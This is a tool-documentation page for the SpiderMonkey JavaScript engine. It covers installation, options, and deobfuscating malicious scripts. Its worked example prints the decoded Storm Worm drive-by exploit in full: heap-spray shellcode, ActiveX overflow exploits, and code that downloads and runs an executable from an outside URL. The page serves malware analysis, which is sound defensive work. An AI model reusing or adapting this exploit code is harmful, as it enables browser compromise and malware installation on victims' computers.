SpiderMonkey
Description
SpiderMonkey is Mozilla's JavaScript engine written in C/C++. It is used in various Mozilla products, including Firefox, and is available under the MPL2.
Installation
Original version
$ cd /data/tools/ $ wget http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz $ tar xzvf mozjs17.0.0.tar.gz $ mv mozjs17.0.0/ spidermonkey/ $ cd spidermonkey/js/src/ $ ./configure $ make
At this stage, and if the compilation successfully ended, you should be able to start SpiderMonkey as follows:
$ cd js/src/ $ ./js17
Such a prompt should appear:
js> print('hello'); hello
Modified versions
Didier Stevens
The original version does not support some functions, such as document.write:
js> document typein:1:0 ReferenceError: document is not defined
Didier Stevens has written a modified version that, among other methods, fills this gap. You can download it from here: http://www.didierstevens.com/files/software/js-1.7.0-mod.tar.gz
REMnux
REMnux has also a modified version of SpiderMonkey.
Usage
Syntax
Usage: ./js17 [options] [[script] scriptArgs*]
Options
- -f --file=PATH
- File path to run
- -e --execute=CODE
- Inline code to run
- -i --shell
- Enter prompt after running code
- -m --methodjit
- Enable the JaegerMonkey method JIT
- -n --typeinfer
- Enable type inference
- -c --compileonly
- Only compile, don':t run (syntax checking mode)
- -d --debugjit
- Enable runtime debug mode for method JIT code
- -a --always-mjit
- Do not try to run in the interpreter before method jitting.
- -D --dump-bytecode
- Dump bytecode with exec count for all scripts
- -b --print-timing
- Print sub-ms runtime for each file that's run
- -U --utf8
- C strings passed to the JSAPI are UTF-8 encoded
Example
Obfuscated code
Let's analyze an obfuscated JavaScript with SpiderMonkey. The below code is an extract of the Storm Worm:
$ cat /data/tmp/malware/storm.js function xor_str(plain_str, xor_key){ var xored_str = ""; for (var i = 0 ; i < plain_str.length; ++i) xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i)); return xored_str; } var plain_str = "\x94\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe [SNIP] \xd2\x94\x9c\x95\x94\xf9\xf0\x86\xf7\x9c\x9d\x94\x9d\x94\xcf\x94\xc7\xc0\xd5\xc6\xc0\xfb\xc2\xd1\xc6 \xd2\xd8\xdb\xc3\x9c\x84\x9d\x8f\x94\xc9\xbe\xbe\xc9\xbe\xbe\xc7\xc0\xd5\xc6\xc0\x9c\x9d\x8f\xbe"; var xored_str = xor_str(plain_str, 180); document.write(xored_str);
document is not defined
As you can notice, the code makes use of the document.write method, not supported by SpiderMonkey:
$ ./js17 -f /data/tmp/malware/storm.js /data/tmp/malware/storm.js:1:59515 ReferenceError: document is not defined
Bypass the limitation
Manual replacement
We can easily replace this method with print:
$ sed "s/document.write/print/g" /data/tmp/malware/storm.js | ./js17 -f - | indent var xd = "var x = new ActiveXObject('Mic'+'ros'+'oft.X'+'MLHTTP');x.Open('GET','http://tibeam.com/file.php',0);x.Send();var s=new ActiveXObject('ADODB.Stream');s.Mode = 3;s.Type = 1;s.Open();s.Write(x.responseBody);s.SaveToFile('../tm.exe',2); "; ed = escape (xd); var url = 'res://mmcndmgr.dll/prevsym12.htm#%29%3B%3C/style%3E%3Cscript%20language%3D%27jscript%27%3Ea%3Dnew%20ActiveXObject%28%27Shell.Application%27%29%3B' + ed + 'a.ShellExecute%28%27../tm.exe%27%29%3B%3C/script%3E%3C%21--//%7C0%7C0%7C0%7C0%7C0%7C0%7C0%7C0'; document.location = url; var mm = new Array (); var mem_flag = 0; function h () { mm = mm; setTimeout ("h()", 2000); } function getb (b, bSize) { while (b.length * 2 < bSize) { b += b; } b = b.substring (0, bSize / 2); return b; } function cf () { var zc = 0x0c0c0c0c; var a = unescape ("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" + "%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb" + "%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7" + "%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" + "%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85" + "%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa" + "%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf" + "%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc" + "%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba" + "%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec" + "%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c" + "%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4" + "%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07" + "%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u742F%u6269%u6165%u2E6D%u6F63%u2F6D%u6966%u656C%u702E%u7068"); var heapBl2ckSize = 0x400000; var pls = a.length * 2; var bSize = heapBl2ckSize - (pls + 0x38); var b = unescape ("%u0c0c%u0c0c"); b = getb (b, bSize); heapBl2cks = (zc - 0x400000) / heapBl2ckSize; for (i = 0; i < heapBl2cks; i++) { mm[i] = b + a; } mem_flag = 1; h (); return mm; } function startWVF () { for (i = 0; i < 128; i++) { try { var tar = new ActiveXObject ('WebVi' + 'ewFol' + 'de' + 'rIc' + 'on.WebVi' + 'ewFol' + 'derI' + 'con.1'); d = 0x7ffffffe; b = 0x0c0c0c0c tar.setSlice (d, b, b, b); } catch (e) { } } } function startWinZip (object) { var xh = 'A'; while (xh.length < 231) xh += 'A'; xh += "\x0c\x0c\x0c\x0c\x0c\x0c\x0c"; object.CreateNewFolderFromName (xh); } function startOverflow (num) { if (num == 0) { try { var qt = new ActiveXObject ('Quick' + 'Time.Qu' + 'ickTime'); if (qt) { var qthtml = '<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="1" height="1" style="border:0px">' + '<param name="src" value="qt.php">' + '<param name="autoplay" value="true">' + '<param name="loop" value="false">' + '<param name="controller" value="true">' + '</object>'; if (!mem_flag) cf (); document.getElementById ('myd' + 'iv').innerHTML = qthtml; num = 255; } } catch (e) { } if (num = 255) setTimeout ("startOverflow(1)", 2000); else startOverflow (1); } else if (num == 1) { try { var winzip = document.createElement ("object"); winzip.setAttribute ("classid", "clsid:A09AE6" + "8F-B14D-43" + "ED-B713-BA413" + "F034904"); var ret = winzip.CreateNewFolderFromName (unescape ("%00")); if (ret == false) { if (!mem_flag) cf (); startWinZip (winzip); num = 255; } } catch (e) { } if (num = 255) setTimeout ("startOverflow(2)", 2000); else startOverflow (2); } else if (num == 2) { try { var tar = new ActiveXObject ('WebVi' + 'ewFol' + 'derIc' + 'on.WebVi' + 'ewFol' + 'derI' + 'con.1'); if (tar) { if (!mem_flag) cf (); startWVF (); } } catch (e) { } } } function GetRandString (len) { var chars = "abcdefghiklmnopqrstuvwxyz"; var string_length = len; var randomstring = ; for (var i = 0; i < string_length; i++) { var rnum = Math.floor (Math.random () * chars.length); randomstring += chars.substring (rnum, rnum + 1); } return randomstring; } function CreateObject (CLSID, name) { var r = null; try { eval ('r = CLSID.CreateObject(name)')} catch (e) { } if (!r) { try { s = 1; eval ('r = CLSID.CreateObject(name, "")')} catch (e) { } } if (!r) { try { s = 1; eval ('r = CLSID.CreateObject(name, "", "")')} catch (e) { } } if (!r) { try { s = 1; eval ('r = CLSID.GetObject("", name)')} catch (e) { } } if (!r) { try { s = 1; eval ('r = CLSID.GetObject(name, "")')} catch (e) { } } if (!r) { try { s = 1; eval ('r = CLSID.GetObject(name)')} catch (e) { } } return (r); } function XMLHttpDownload (xml, url) { try { xml.open ("GET", url, false); xml.send (null); } catch (e) { return 0; } return xml.responseBody; } function AD2BDStreamSave (o, name, data) { try { o.Type = 1; o.Mode = 3; o.Open (); o.Write (data); o.SaveToFile (name, 2); o.Close (); } catch (e) { return 0; } return 1; } function ShellExecute (exec, name, type) { if (type == 0) { try { exec.Run (name, 0); return 1; } catch (e) { } } else { try { exe.ShellExecute (name); return 1; } catch (e) { } } return (0); } function MD2C () { var t = new Array ('{BD96C5' + '56-65A3-11' + 'D0-983A-00C04FC' + '29E30}', '{BD96C' + '556-65A3-11' + 'D0-983A-00C0' + '4FC29E36}', '{AB9B' + 'CEDD-EC7E-47' + 'E1-9322-D4A21' + '0617116}', '{0006F' + '033-0000-0000-C000-000000' + '000046}', '{0006' + 'F03A-0000-0000-C000-0000000' + '00046}', '{6e32' + '070a-766d-4ee6-879c-dc1fa' + '91d2fc3}', '{6414' + '512B-B978-451D-A0D8-FCFDF3' + '3E833C}', '{7F5B' + '7F63-F06F-4331-8A26-339E03' + 'C0AE3D}', '{0672' + '3E09-F4C2-43' + 'c8-8358-09FCD1D' + 'B0766}', '{639F' + '725F-1B2D-48' + '31-A9FD-87484' + '7682010}', '{BA018' + '599-1DB3-44f' + '9-83B4-46145' + '4C84BF8}', '{D0C07' + 'D56-7C69-43F1-B4' + 'A0-25F5A1' + '1FAB19}', '{E8C' + 'CCDDF-CA28-496b-B' + '050-6C07C962' + '476B}', null); var v = new Array (null, null, null); var i = 0; var n = 0; var ret = 0; var urlRealExe = 'http://tibeam.com/file.php'; while (t[i] && (!v[0] || !v[1] || !v[2])) { var a = null; try { a = document.createElement ("object"); a.setAttribute ("classid", "clsid:" + t[i].substring (1, t[i].length - 1)); } catch (e) { a = null; } if (a) { if (!v[0]) { v[0] = CreateObject (a, "msxml2.XMLHTTP"); if (!v[0]) v[0] = CreateObject (a, "Microso" + "ft.XM" + "LHT" + "TP"); if (!v[0]) v[0] = CreateObject (a, "MSX" + "ML2.Se" + "rverXM" + "LHT" + "TP"); } if (!v[1]) { v[1] = CreateObject (a, "ADOD" + "B.Str" + "eam"); } if (!v[2]) { v[2] = CreateObject (a, "WSc" + "ript.Sh" + "ell"); if (!v[2]) { v[2] = CreateObject (a, "Shel" + "l.Ap" + "pl" + "icati" + "on"); if (v[2]) n = 1; } } } i++; } if (v[0] && v[1] && v[2]) { var data = XMLHttpDownload (v[0], urlRealExe); if (data != 0) { var name = "c:\\sys" + GetRandString (4) + ".exe"; if (AD2BDStreamSave (v[1], name, data) == 1) { if (ShellExecute (v[2], name, n) == 1) { ret = 1; } } } } return ret; } function start () { if (!MD2C ()) { startOverflow (0); } } start ();
Define custom definitions
We can also define custom methods:
$ cat /data/tmp/def.js document = { write:print, writeln:print }; eval = function(input_string) { print(input_string); }
And then call SpiderMonkey as follows:
$ ./js17 -f /data/tmp/def.js -f /data/tmp/malware/storm.js